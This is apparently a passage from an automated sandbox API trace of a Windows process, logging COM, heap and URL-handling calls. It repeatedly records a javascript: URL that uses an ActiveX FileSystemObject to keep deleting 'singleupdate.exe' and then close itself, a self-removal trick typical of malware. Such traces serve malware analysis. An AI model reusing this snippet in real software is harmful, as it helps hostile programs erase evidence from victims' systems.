_Destination=0x4c1e3d0) returned 0x0 [0223.357] memcpy_s (in: _Destination=0x4c1e3f0, _DestinationSize=0x8, _Source=0x7286eb48, _SourceSize=0x6 | out: _Destination=0x4c1e3f0) returned 0x0 [0223.358] memcpy_s (in: _Destination=0x4c1e410, _DestinationSize=0x6, _Source=0x7286eb40, _SourceSize=0x4 | out: _Destination=0x4c1e410) returned 0x0 [0223.358] memcpy_s (in: _Destination=0x4c1e430, _DestinationSize=0x8, _Source=0x7286eb38, _SourceSize=0x6 | out: _Destination=0x4c1e430) returned 0x0 [0223.358] RtlAllocateHeap (HeapHandle=0xfb0000, Flags=0x0, Size=0x1c) returned 0xfdb730 [0223.358] RtlAllocateHeap (HeapHandle=0xfb0000, Flags=0x0, Size=0x1c) returned 0xfdb848 [0223.358] RtlAllocateHeap (HeapHandle=0xfb0000, Flags=0x0, Size=0x1a) returned 0xfdb820 [0223.358] RtlAllocateHeap (HeapHandle=0xfb0000, Flags=0x0, Size=0x1a) returned 0xfdb870 [0223.358] RtlAllocateHeap (HeapHandle=0xfb0000, Flags=0x0, Size=0x1a) returned 0xfdb898 [0223.358] _ltow_s (in: _Value=0, _Buffer=0xcff678, _BufferCount=0x21, _Radix=10 | out: _Buffer="0") returned 0x0 [0223.358] RtlAllocateHeap (HeapHandle=0xfb0000, Flags=0x0, Size=0x12) returned 0xfd1790 [0223.358] _ltow_s (in: _Value=5, _Buffer=0xcff678, _BufferCount=0x21, _Radix=10 | out: _Buffer="5") returned 0x0 [0223.358] RtlAllocateHeap (HeapHandle=0xfb0000, Flags=0x0, Size=0x12) returned 0xfd16b0 [0223.358] _ltow_s (in: _Value=7, _Buffer=0xcff678, _BufferCount=0x21, _Radix=10 | out: _Buffer="7") returned 0x0 [0223.358] RtlAllocateHeap (HeapHandle=0xfb0000, Flags=0x0, Size=0x12) returned 0xfd1410 [0223.358] _ltow_s (in: _Value=8, _Buffer=0xcff678, _BufferCount=0x21, _Radix=10 | out: _Buffer="8") returned 0x0 [0223.358] RtlAllocateHeap (HeapHandle=0xfb0000, Flags=0x0, Size=0x12) returned 0xfd16d0 [0223.358] _ltow_s (in: _Value=9, _Buffer=0xcff678, _BufferCount=0x21, _Radix=10 | out: _Buffer="9") returned 0x0 [0223.358] RtlAllocateHeap (HeapHandle=0xfb0000, Flags=0x0, Size=0x12) returned 0xfd1430 [0223.358] _ltow_s (in: _Value=10, _Buffer=0xcff678, _BufferCount=0x21, _Radix=10 | out: _Buffer="10") returned 0x0 [0223.358] RtlAllocateHeap (HeapHandle=0xfb0000, Flags=0x0, Size=0x14) returned 0xfd1710 [0223.358] _ltow_s (in: _Value=11, _Buffer=0xcff678, _BufferCount=0x21, _Radix=10 | out: _Buffer="11") returned 0x0 [0223.358] RtlAllocateHeap (HeapHandle=0xfb0000, Flags=0x0, Size=0x14) returned 0xfd15f0 [0223.358] _ltow_s (in: _Value=12, _Buffer=0xcff678, _BufferCount=0x21, _Radix=10 | out: _Buffer="12") returned 0x0 [0223.358] RtlAllocateHeap (HeapHandle=0xfb0000, Flags=0x0, Size=0x14) returned 0xfd16f0 [0223.359] RtlAllocateHeap (HeapHandle=0xfb0000, Flags=0x0, Size=0x12) returned 0xfd1590 [0223.359] memcpy_s (in: _Destination=0x4c1e450, _DestinationSize=0x6, _Source=0xfd0d18, _SourceSize=0x4 | out: _Destination=0x4c1e450) returned 0x0 [0223.359] RtlAllocateHeap (HeapHandle=0xfb0000, Flags=0x0, Size=0xc) returned 0xfd93c8 [0223.359] memcpy_s (in: _Destination=0x4c1e470, _DestinationSize=0x8, _Source=0xfd0c68, _SourceSize=0x6 | out: _Destination=0x4c1e470) returned 0x0 [0223.359] GetProcessHeap () returned 0xfb0000 [0223.359] HeapFree (in: hHeap=0xfb0000, dwFlags=0x0, lpMem=0xfd0d18 | out: hHeap=0xfb0000) returned 1 [0223.359] GetProcessHeap () returned 0xfb0000 [0223.359] HeapFree (in: hHeap=0xfb0000, dwFlags=0x0, lpMem=0xfd0c68 | out: hHeap=0xfb0000) returned 1 [0223.359] GetProcessHeap () returned 0xfb0000 [0223.359] HeapFree (in: hHeap=0xfb0000, dwFlags=0x0, lpMem=0xfd0c58 | out: hHeap=0xfb0000) returned 1 [0223.360] IUnknown:AddRef (This=0xfd63dc) returned 0x6 [0223.361] UrlGetLocationW (psz1="javascript:o=new ActiveXObject('Scripting.FileSystemObject');setInterval(function(){try{o.DeleteFile('singleupdate.exe');close()}catch(e){}},10);") returned 0x0 [0223.361] UrlGetLocationW (psz1=0x0) returned 0x0 [0223.361] CreateURLMonikerEx (in: pMkCtx=0x0, szURL="javascript:o=new ActiveXObject('Scripting.FileSystemObject');setInterval(function(){try{o.DeleteFile('singleupdate.exe');close()}catch(e){}},10);", ppmk=0xcff7d8*=0x0, dwFlags=0x1 | out: ppmk=0xcff7d8*=0xfbd210) returned 0x0 [0223.362] DllGetClassObject (in: rclsid=0xfbd6f4*(Data1=0x3050f3b2, Data2=0x98b5, Data3=0x11cf, Data4=([0]=0xbb, [1]=0x82, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xbd, [6]=0xce, [7]=0xb)), riid=0x74109214*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0xcfef00 | out: ppv=0xcfef00*=0x7376b5fc) returned 0x0 [0223.362] IUnknown:QueryInterface (in: This=0x7376b5fc, riid=0x7410a158*(Data1=0x79eac9ec, Data2=0xbaf9, Data3=0x11ce, Data4=([0]=0x8c, [1]=0x82, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0xa9, [7]=0xb)), ppvObject=0xcff3cc | out: ppvObject=0xcff3cc*=0x7376b608) returned 0x0 [0223.362] IUnknown:Release (This=0x7376b5fc) returned 0x1 [0223.362] IInternetProtocolInfo:ParseUrl (in: This=0x7376b608, pwzUrl="javascript:o=new ActiveXObject('Scripting.FileSystemObject');setInterval(function(){try{o.DeleteFile('singleupdate.exe');close()}catch(e){}},10);", ParseAction=1, dwParseFlags=0x10000, pwzResult=0xfe48f0, cchResult=0x824, pcchResult=0xcff6e4, dwReserved=0x0 | out: pwzResult="", pcchResult=0xcff6e4*=0x0) returned 0x800c0011 [0223.362] IUnknown:Release (This=0x7376b608) returned 0x1 [0223.362] CreateUri (in: pwzURI="javascript:o=new ActiveXObject('Scripting.FileSystemObject');setInterval(function(){try{o.DeleteFile('singleupdate.exe');close()}catch(e){}},10);", dwFlags=0x3002b84, dwReserved=0x0, ppURI=0xcff7c4 | out: ppURI=0xcff7c4*=0xfd1b94) returned 0x0 [0223.363] IUri:GetScheme (in: This=0xfd1b94, pdwScheme=0xcff75c | out: pdwScheme=0xcff75c*=0xf) returned 0x0 [0223.363] CoInternetIsFeatureEnabled (FeatureEntry=0x1, dwFlags=0x2) returned 0x1 [0223.363] IUnknown:QueryInterface (in: This=0xfd1b94, riid=0x72880c04*(Data1=0x50295b0c, Data2=0x6b79, Data3=0x4935, Data4=([0]=0xae, [1]=0xd8, [2]=0x5, [3]=0xd8, [4]=0xe, [5]=0xc8, [6]=0x6a, [7]=0x60)), ppvObject=0xcff748 | out: ppvObject=0xcff748*=0xfd1b94) returned 0x0 [0223.363] IUnknown:Release (This=0xfd1b94) returned 0x3 [0223.363] IUnknown:AddRef (This=0xfd1b94) returned 0x4 [0223.363] IUnknown:Release (This=0xfd1b94) returned 0x3 [0223.363] IUnknown:AddRef (This=0xfd1b94) returned 0x4 [0223.363] IUri:GetAbsoluteUri (in: This=0xfd1b94, pbstrAbsoluteUri=0x4c08240 | out: pbstrAbsoluteUri=0x4c08240*="javascript:o=new ActiveXObject('Scripting.FileSystemObject');setInterval(function(){try{o.DeleteFile('singleupdate.exe');close()}catch(e){}},10);") returned 0x0 [0223.364] IUnknown:Release (This=0xfd1b94) returned 0x3 [0223.364] IUnknown:AddRef (This=0xfbd210) returned 0x2 [0223.364] IUnknown:Release (This=0xfbd210) returned 0x1 [0223.364] IUnknown:AddRef (This=0xfbd710) returned 0x3 [0223.364] IUnknown:Release (This=0xfbd210) returned 0x0 [0223.364] CoInternetIsFeatureEnabled (FeatureEntry=0x15, dwFlags=0x2) returned 0x1 [0223.364] IUnknown:AddRef (This=0xfbd710) returned 0x4 [0223.364] IUnknown:QueryInterface (in: This=0xfd63dc, riid=0x72880c04*(Data1=0x50295b0c, Data2=0x6b79, Data3=0x4935, Data4=([0]=0xae, [1]=0xd8, [2]=0x5, [3]=0xd8, [4]=0xe, [5]=0xc8, [6]=0x6a, [7]=0x60)), ppvObject=0xcff368 | out: ppvObject=0xcff368*=0xfd63dc) returned 0x0 [0223.364] IUnknown:Release (This=0xfd63dc) returned 0x6 [0223.364] IUnknown:AddRef (This=0xfd63dc) returned 0x7 [0223.364] IUnknown:QueryInterface (in: This=0xfbd710, riid=0x728be2f4*(Data1=0xa158a630, Data2=0xed6f, Data3=0x45fb, Data4=([0]=0xb9, [1]=0x87, [2]=0xf6, [3]=0x86, [4]=0x76, [5]=0xf5, [6]=0x77, [7]=0x52)), ppvObject=0xcff340 | out: ppvObject=0xcff340*=0xfbd71c) returned 0x0 [0223.365] IUriContainer:GetIUri (in: This=0xfbd71c, ppIUri=0xcff5e8 | out: ppIUri=0xcff5e8*=0xfd63dc) returned 0x0 [0223.365] IUnknown:Release (This=0xfbd71c) returned 0x4 [0223.365] IUnknown:AddRef (This=0xfbd710) returned 0x5 [0223.365] IUnknown:Release (This=0xfbd710) returned 0x4 [0223.365] IUnknown:AddRef (This=0xfd63dc) returned 0x9 [0223.365] IUnknown:QueryInterface (in: This=0xfd63dc, riid=0x72880c04*(Data1=0x50295b0c, Data2=0x6b79, Data3=0x4935, Data4=([0]=0xae, [1]=0xd8, [2]=0x5, [3]=0xd8, [4]=0xe, [5]=0xc8, [6]=0x6a, [7]=0x60)), ppvObject=0xcff368 | out: ppvObject=0xcff368*=0xfd63dc) returned 0x0 [0223.366] IUnknown:Release (This=0xfd63dc) returned 0x9 [0223.366] IUnknown:AddRef (This=0xfd63dc) returned 0xa [0223.366] IUri:GetScheme (in: This=0xfd63dc, pdwScheme=0xcff37c | out: pdwScheme=0xcff37c*=0xf) returned 0x0 [0223.366] GetCurrentProcessId () returned 0xfe4 [0223.366] GetCurrentProcessId () returned 0xfe4 [0223.366] IUnknown:QueryInterface (in: This=0xfd63dc, riid=0x72880c04*(Data1=0x50295b0c, Data2=0x6b79, Data3=0x4935, Data4=([0]=0xae, [1]=0xd8, [2]=0x5, [3]=0xd8, [4]=0xe, [5]=0xc8, [6]=0x6a, [7]=0x60)), ppvObject=0xcff368 | out: ppvObject=0xcff368*=0xfd63dc) returned 0x0 [0223.366] IUnknown:Release (This=0xfd63dc) returned 0xa [0223.366] IUnknown:AddRef (This=0xfd63dc) returned 0xb [0223.366] IUri:GetScheme (in: This=0xfd63dc, pdwScheme=0xcff350 | out: pdwScheme=0xcff350*=0xf) returned 0x0 [0223.366] IUri:GetAbsoluteUri (in: This=0xfd63dc, pbstrAbsoluteUri=0xcff374 | out: pbstrAbsoluteUri=0xcff374*="javascript:o=new ActiveXObject('Scripting.FileSystemObject');setInterval(function(){try{o.DeleteFile('singleupdate.exe');close()}catch(e){}},10);") returned 0x0 [0223.366] SysStringLen (param_1="javascript:o=new ActiveXObject('Scripting.FileSystemObject');setInterval(function(){try{o.DeleteFile('singleupdate.exe');close()}catch(e){}},10);") returned 0x91 [0223.366] CreateUri (in: pwzURI="javascript:o=new ActiveXObject('Scripting.FileSystemObject');setInterval(function(){try{o.DeleteFile('singleupdate.exe');close()}catch(e){}},10);", dwFlags=0x3002b80, dwReserved=0x0, ppURI=0xcff5d4 | out: ppURI=0xcff5d4*=0xfd1b94) returned 0x0 [0223.367] IUnknown:Release (This=0xfd63dc) returned 0xa [0223.367] IUri:GetScheme (in: This=0xfd1b94, pdwScheme=0xcff32c | out: pdwScheme=0xcff32c*=0xf) returned 0x0 [0223.367] IUnknown:QueryInterface (in: This=0xfd1b94, riid=0x72880c04*(Data1=0x50295b0c, Data2=0x6b79, Data3=0x4935, Data4=([0]=0xae, [1]=0xd8, [2]=0x5, [3]=0xd8, [4]=0xe, [5]=0xc8, [6]=0x6a, [7]=0x60)), ppvObject=0xcff318 | out: ppvObject=0xcff318*=0xfd1b94) returned 0x0 [0223.367] IUnknown:Release (This=0xfd1b94) returned 0x4 [0223.367] IUnknown:AddRef (This=0xfd1b94) returned 0x5 [0223.367] IUnknown:Release (This=0xfd1b94) returned 0x4 [0223.367] IUnknown:AddRef (This=0xfd1b94) returned 0x5 [0223.367] IUri:GetPropertyDWORD (in: This=0xfd1b94, uriProp=0x11, pdwProperty=0xcff0ec, dwFlags=0x0 | out: pdwProperty=0xcff0ec*=0xf) returned 0x0 [0223.367] IUnknown:AddRef (This=0xfd0030) returned 0x2 [0223.414] IUnknown:QueryInterface (in: This=0x7387f4d4, riid=0x7410a5cc*(Data1=0xc90db44a, Data2=0x1902, Data3=0x451e, Data4=([0]=0xbd, [1]=0xf0, [2]=0x5c, [3]=0x89, [4]=0x66, [5]=0xb, [6]=0x52, [7]=0x8c)), ppvObject=0xcff044 | out: ppvObject=0xcff044*=0x0) returned 0x80004002 [0223.414] DllGetClassObject (in: rclsid=0xfbd6f4*(Data1=0x3050f3b2, Data2=0x98b5, Data3=0x11cf, Data4=([0]=0xbb, [1]=0x82, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xbd, [6]=0xce, [7]=0xb)), riid=0x74109214*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0xcfe9f8 | out: ppv=0xcfe9f8*=0x7376b5fc) returned 0x0 [0223.414] IUnknown:QueryInterface (in: This=0x7376b5fc, riid=0x7410a158*(Data1=0x79eac9ec, Data2=0xbaf9, Data3=0x11ce, Data4=([0]=0x8c, [1]=0x82, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0xa9, [7]=0xb)), ppvObject=0xcfea64 | out: ppvObject=0xcfea64*=0x7376b608) returned 0x0 [0223.415] IUnknown:Release (This=0x7376b5fc) returned 0x1 [0223.415] IInternetProtocolInfo:ParseUrl (in: This=0x7376b608, pwzUrl="javascript:o=new ActiveXObject('Scripting.FileSystemObject');setInterval(function(){try{o.DeleteFile('singleupdate.exe');close()}catch(e){}},10);", ParseAction=3, dwParseFlags=0x0, pwzResult=0xfe4a28, cchResult=0x92, pcchResult=0xcfea5c, dwReserved=0x0 | out: pwzResult="javascript:o=new ActiveXObject('Scripting.FileSystemObject');setInterval(function(){try{o.DeleteFile('singleupdate.exe');close()}catch(e){}},10);", pcchResult=0xcfea5c*=0x92) returned 0x0 [0223.484] RtlAllocateHeap (HeapHandle=0xfb0000, Flags=0x0, Size=0x128) returned 0xfe4b58 [0223.484] HeapFree (in: hHeap=0xfb0000, dwFlags=0x0, lpMem=0xfe4b58 | out: hHeap=0xfb0000) returned 1 [0223.484] IUnknown:Release (This=0x7376b608) returned 0x1 [0223.484] DllGetClassObject (in: rclsid=0xfbd6f4*(Data1=0x3050f3b2, Data2=0x98b5, Data3=0x11cf, Data4=([0]=0xbb, [1]=0x82, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xbd, [6]=0xce, [7]=0xb)), riid=0x74109214*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0xcfe570 | out: ppv=0xcfe570*=0x7376b5fc) returned 0x0 [0223.484] IUnknown:QueryInterface (in: This=0x7376b5fc, riid=0x7410a158*(Data1=0x79eac9ec, Data2=0xbaf9, Data3=0x11ce, Data4=([0]=0x8c, [1]=0x82, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0xa9, [7]=0xb)), ppvObject=0xcfea68 | out: ppvObject=0xcfea68*=0x7376b608) returned 0x0 [0223.485] IUnknown:Release (This=0x7376b5fc) returned 0x1 [0223.485] IInternetProtocolInfo:ParseUrl (in: This=0x7376b608, pwzUrl="javascript:o=new ActiveXObject('Scripting.FileSystemObject');setInterval(function(){try{o.DeleteFile('singleupdate.exe');close()}catch(e){}},10);", ParseAction=17, dwParseFlags=0x0, pwzResult=0xfe4a28, cchResult=0x92, pcchResult=0xcfea64, dwReserved=0x0 | out: pwzResult="", pcchResult=0xcfea64*=0x0) returned 0x800c0011 [0223.485] IUnknown:Release (This=0x7376b608) returned 0x1 [0223.485] IUnknown:Release (This=0xfd0030) returned 0x1 [0223.485] IUnknown:Release (This=0xfd1b94) returned 0x5 [0223.485] HeapFree (in: hHeap=0xfb0000, dwFlags=0x0, lpMem=0xfd9308 | out: hHeap=0xfb0000) returned 1 [0223.485] RtlAllocateHeap (HeapHandle=0xfb0000, Flags=0x0, Size=0x96) returned 0xfe4ac8 [0223.485] memcpy_s (in: _Destination=0xfe4ac8, _DestinationSize=0x96, _Source=0xcff178, _SourceSize=0x96 | out: _Destination=0xfe4ac8) returned 0x0 [0223.485] HeapFree (in: hHeap=0xfb0000, dwFlags=0x0, lpMem=0xfd9218 | out: hHeap=0xfb0000) returned 1 [0223.485] RtlAllocateHeap (HeapHandle=0xfb0000, Flags=0x0, Size=0x96) returned 0xfe4b68 [0223.485] memcpy_s (in: _Destination=0xfe4b68, _DestinationSize=0x96, _Source=0xcff178, _SourceSize=0x96 | out: _Destination=0xfe4b68) returned 0x0 [0223.486] IUri:GetScheme (in: This=0xfd63dc, pdwScheme=0xcff37c | out: pdwScheme=0xcff37c*=0xf) returned 0x0 [0223.486] GetDC (hWnd=0x0) returned 0xffffffffba010704 [0223.486] CreateCompatibleBitmap (hdc=0xba010704, cx=1, cy=1) returned 0x3905052a [0223.486] GetDIBits (in: hdc=0xba010704, hbm=0x3905052a, start=0x0, cLines=0x1, lpvBits=0x0, lpbmi=0xcfef00, usage=0x0 | out: lpvBits=0x0, lpbmi=0xcfef00) returned 1 [0223.486] GetDIBits (in: hdc=0xba010704, hbm=0x3905052a, start=0x0, cLines=0x1, lpvBits=0x0, lpbmi=0xcfef00, usage=0x0 | out: lpvBits=0x0, lpbmi=0xcfef00) returned 1 [0223.486] DeleteObject (ho=0x3905052a) returned 1 [0223.487] GetSysColor (nIndex=0) returned 0xc8c8c8 [0223.487] GetSysColor (nIndex=1) returned 0x0 [0223.487] GetSysColor (nIndex=2) returned 0xd1b499 [0223.487] GetSysColor (nIndex=3) returned 0xdbcdbf [0223.487] GetSysColor (nIndex=4) returned 0xf0f0f0 [0223.487] GetSysColor (nIndex=5) returned 0xffffff [0223.487] GetSysColor (nIndex=6) returned 0x646464 [0223.487] GetSysColor (nIndex=7) returned 0x0 [0223.487] GetSysColor (nIndex=8) returned 0x0 [0223.487] GetSysColor (nIndex=9) returned 0x0 [0223.487] GetSysColor (nIndex=10) returned 0xb4b4b4 [0223.487] GetSysColor (nIndex=11) returned 0xfcf7f4 [0223.487] GetSysColor (nIndex=12) returned 0xababab [0223.487] GetSysColor (nIndex=13) returned 0xd77800 [0223.487] GetSysColor (nIndex=14) returned 0xffffff [0223.487] GetSysColor (nIndex=15) returned 0xf0f0f0 [0223.487] GetSysColor (nIndex=16) returned 0xa0a0a0 [0223.487] GetSysColor (nIndex=17) returned 0x6d6d6d [0223.487] GetSysColor (nIndex=18) returned 0x0 [0223.487] GetSysColor (nIndex=19) returned 0x0 [0223.487] GetSysColor (nIndex=20) returned 0xffffff [0223.487] GetSysColor (nIndex=21) returned 0x696969 [0223.487] GetSysColor (nIndex=22) returned 0xe3e3e3 [0223.487] GetSysColor (nIndex=23) returned 0x0 [0223.487] GetSysColor (nIndex=24) returned 0xe1ffff [0223.487] GetSysColor (nIndex=25) returned 0x0 [0223.487] GetSysColor (nIndex=26) returned 0xcc6600 [0223.487] GetSysColor (nIndex=27) returned 0xead1b9 [0223.487] GetSysColor (nIndex=28) returned 0xf2e4d7 [0223.487] GetSysColor (nIndex=29) returned 0xd77800 [0223.487] GetSysColor (nIndex=30) returned 0xf0f0f0 [0223.487] GetSysColor (nIndex=31) returned 0x0 [0223.487] GetSysColor (nIndex=32) returned 0x0 [0223.487] GetSysColor (nIndex=33) returned 0x0 [0223.487] GetSysColor (nIndex=34) returned 0x0 [0223.487] GetSysColor (nIndex=35) returned 0x0 [0223.487] GetSysColor (nIndex=36) returned 0x0 [0223.487] GetSysColor (nIndex=37) returned 0x0 [0223.487] GetSysColor (nIndex=38) returned 0x0 [0223.487] GetSysColor (nIndex=39) returned 0x0 [0223.487] GetSysColor (nIndex=40) returned 0x0 [0223.488] GetSysColor (nIndex=41) returned 0x0 [0223.488] GetSysColor (nIndex=42) returned 0x0 [0223.488] GetSysColor (nIndex=43) returned 0x0 [0223.488] GetSysColor (nIndex=44) returned 0x0 [0223.488] GetSysColor (nIndex=45) returned 0x0 [0223.488] GetSysColor (nIndex=46) returned 0x0 [0223.488] GetSysColor (nIndex=47) returned 0x0 [0223.488] GetSysColor (nIndex=48) returned 0x0 [0223.488] GetSysColor (nIndex=49) returned 0x0 [0223.488] GetSysColor (nIndex=50) returned 0x0 [0223.488] GetSysColor (nIndex=51) returned 0x0 [0223.488] GetSysColor (nIndex=52) returned 0x0 [0223.488] GetSysColor (nIndex=53) returned 0x0 [0223.488] GetSysColor (nIndex=54) returned 0x0 [0223.488] GetSysColor (nIndex=55) returned 0x0 [0223.488] GetSysColor (nIndex=56) returned 0x0 [0223.488] GetSysColor (nIndex=57) returned 0x0 [0223.488] GetSysColor (nIndex=58) returned 0x0 [0223.488] GetSysColor (nIndex=59) returned 0x0 [0223.488] GetSysColor (nIndex=60) returned 0x0 [0223.488] GetSysColor (nIndex=61) returned 0x0 [0223.488] GetSysColor (nIndex=62) returned 0x0 [0223.488] GetSysColor (nIndex=63) returned 0x0 [0223.488] GetDeviceCaps (hdc=0xba010704, index=38) returned 32409 [0223.488] ReleaseDC (hWnd=0x0, hDC=0xba010704) returned 1 [0223.488] IUri:GetAbsoluteUri (in: This=0xfd1b94, pbstrAbsoluteUri=0xcff58c | out: pbstrAbsoluteUri=0xcff58c*="javascript:o=new ActiveXObject('Scripting.FileSystemObject');setInterval(function(){try{o.DeleteFile('singleupdate.exe');close()}catch(e){}},10);") returned 0x0 [0223.488] GetCurrentProcessId () returned 0xfe4 [0223.489] GetCurrentThreadId () returned 0xe0 [0223.489] GetCurrentThreadId () returned 0xe0 [0223.489] GetCurrentProcessId () returned 0xfe4 [0223.489] RtlAllocateHeap (HeapHandle=0xfb0000, Flags=0x0, Size=0x10) returned 0xfd9218 [0223.489] IUnknown:AddRef (This=0xfd0030) returned 0x2 [0223.489] IUnknown:Release (This=0xfd0030) returned 0x1 [0223.601] RtlAllocateHeap (HeapHandle=0xfb0000, Flags=0x0, Size=0x20) returned 0xfe4eb0 [0223.601] RtlAllocateHeap (HeapHandle=0x4d60000, Flags=0x0, Size=0x94) returned 0x4d73c10 [0223.601] RtlInterlockedPopEntrySList (in: ListHead=0x4d60878 | out: ListHead=0x4d60878) returned 0x0 [0223.601] VirtualAlloc (lpAddress=0x4c66000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0x4c66000 [0223.602] GetKeyboardLayout (idThread=0x0) returned 0x4090409 [0223.602] GetKeyboardLayoutNameW (in: pwszKLID=0xcff0f0 | out: pwszKLID="00000409") returned 1 [0223.603] CreateUri (in: pwzURI="javascript:o=new ActiveXObject('Scripting.FileSystemObject');setInterval(function(){try{o.DeleteFile('singleupdate.exe');close()}catch(e){}},10);", dwFlags=0x3022b05, dwReserved=0x0, ppURI=0xcff13c | out: ppURI=0xcff13c*=0xfe4c14) returned 0x0 [0223.603] CreateIUriBuilder (in: pIUri=0xfe4c14, dwFlags=0x0, dwReserved=0x0, ppIUriBuilder=0xcff138 | out: ppIUriBuilder=0xcff138*=0xfcb6f8) returned 0x0 [0223.603] IUriBuilder:RemoveProperties (This=0xfcb6f8, dwPropertyMask=0x2020) returned 0x0 [0223.603] IUnknown:Release (This=0xfe4c14) returned 0x3 [0223.603] IUriBuilder:CreateUriSimple (in: This=0xfcb6f8, dwAllowEncodingPropertyMask=0x0, dwReserved=0x0, ppIUri=0xcff13c | out: ppIUri=0xcff13c*=0xfe4c14) returned 0x0 [0223.603] IUri:GetPropertyBSTR (in: This=0xfe4c14, uriProp=0x0, pbstrProperty=0xcff158, dwFlags=0x2 | out: pbstrProperty=0xcff158*="javascript:o=new ActiveXObject('Scripting.FileSystemObject');setInterval(function(){try{o.DeleteFile('singleupdate.exe');close()}catch(e){}},10);") returned 0x0 [0223.603] IUnknown:Release (This=0xfe4c14) returned 0x3 [0223.603] IUnknown:Release (This=0xfcb6f8) returned 0x0 [0223.603] RtlAllocateHeap (HeapHandle=0xfb0000, Flags=0x0, Size=0x128) returned 0xfcb920 [0223.603] ParseURLW (in: pcszURL="javascript:o=new ActiveXObject('Scripting.FileSystemObject');setInterval(function(){try{o.DeleteFile('singleupdate.exe');close()}catch(e){}},10);", ppu=0xcff128 | out: ppu=0xcff128) returned 0x0 [0223.604] CreateUri (in: pwzURI="javascript:o=new ActiveXObject('Scripting.FileSystemObject');setInterval(function(){try{o.DeleteFile('singleupdate.exe');close()}catch(e){}},10);", dwFlags=0x3002b84, dwReserved=0x0, ppURI=0xcff108 | out: ppURI=0xcff108*=0xfd1b94) returned 0x0 [0223.604] IUnknown:AddRef (This=0xfd0030) returned 0x2 [0223.604] IUnknown:AddRef (This=0xfd1b94) returned 0x7 [0223.604] CoInternetIsFeatureEnabled (FeatureEntry=0xe, dwFlags=0x2) returned 0x1 [0223.604] IInternetSecurityManager:MapUrlToZone (in: This=0x7387f4d4, pwszUrl="javascript:o=new ActiveXObject('Scripting.FileSystemObject');setInterval(function(){try{o.DeleteFile('singleupdate.exe');close()}catch(e){}},10);", pdwZone=0xcff0bc, dwFlags=0x0 | out: pdwZone=0xcff0bc*=0xffffffff) returned 0x800c0011 [0223.604] DllGetClassObject (in: rclsid=0xfbd6f4*(Data1=0x3050f3b2, Data2=0x98b5, Data3=0x11cf, Data4=([0]=0xbb, [1]=0x82, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xbd, [6]=0xce, [7]=0xb)), riid=0x74109214*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0xcfe920 | out: ppv=0xcfe920*=0x7376b5fc) returned 0x0 [0223.604] IUnknown:QueryInterface (in: This=0x7376b5fc, riid=0x7410a158*(Data1=0x79eac9ec, Data2=0xbaf9, Data3=0x11ce, Data4=([0]=0x8c, [1]=0x82, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0xa9, [7]=0xb)), ppvObject=0xcfe98c | out: ppvObject=0xcfe98c*=0x7376b608) returned 0x0 [0223.604] IUnknown:Release (This=0x7376b5fc) returned 0x1 [0223.604] IInternetProtocolInfo:ParseUrl (in: This=0x7376b608, pwzUrl="javascript:o=new ActiveXObject('Scripting.FileSystemObject');setInterval(function(){try{o.DeleteFile('singleupdate.exe');close()}catch(e){}},10);", ParseAction=3, dwParseFlags=0x0, pwzResult=0xfe6b50, cchResult=0x92, pcchResult=0xcfe984, dwReserved=0x0 | out: pwzResult="javascript:o=new ActiveXObject('Scripting.FileSystemObject');setInterval(function(){try{o.DeleteFile('singleupdate.exe');close()}catch(e){}},10);", pcchResult=0xcfe984*=0x92) returned 0x0 [0223.604] RtlAllocateHeap (HeapHandle=0xfb0000, Flags=0x0, Size=0x128) returned 0xfe7668 [0223.604] HeapFree (in: hHeap=0xfb0000, dwFlags=0x0, lpMem=0xfe7668 | out: hHeap=0xfb0000) returned 1 [0223.604] IUnknown:Release (This=0x7376b608) returned 0x1 [0223.605] DllGetClassObject (in: rclsid=0xfbd6f4*(Data1=0x3050f3b2, Data2=0x98b5, Data3=0x11cf, Data4=([0]=0xbb, [1]=0x82, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xbd, [6]=0xce, [7]=0xb)), riid=0x74109214*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0xcfe498 | out: ppv=0xcfe498*=0x7376b5fc) returned 0x0 [0223.605] IUnknown:QueryInterface (in: This=0x7376b5fc, riid=0x7410a158*(Data1=0x79eac9ec, Data2=0xbaf9, Data3=0x11ce, Data4=([0]=0x8c, [1]=0x82, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0xa9, [7]=0xb)), ppvObject=0xcfe990 | out: ppvObject=0xcfe990*=0x7376b608) returned 0x0 [0223.605] IUnknown:Release (This=0x7376b5fc) returned 0x1 [0223.605] IInternetProtocolInfo:ParseUrl (in: This=0x7376b608, pwzUrl="javascript:o=new ActiveXObject('Scripting.FileSystemObject');setInterval(function(){try{o.DeleteFile('singleupdate.exe');close()}catch(e){}},10);", ParseAction=17, dwParseFlags=0x0, pwzResult=0xfe7668, cchResult=0x92, pcchResult=0xcfe98c, dwReserved=0x0 | out: pwzResult="", pcchResult=0xcfe98c*=0x0) returned 0x800c0011 [0223.605] IUnknown:Release (This=0x7376b608) returned 0x1 [0223.605] CoInternetIsFeatureEnabled (FeatureEntry=0x8, dwFlags=0x2) returned 0x1 [0223.605] CoInternetIsFeatureEnabled (FeatureEntry=0xe, dwFlags=0x2) returned 0x1 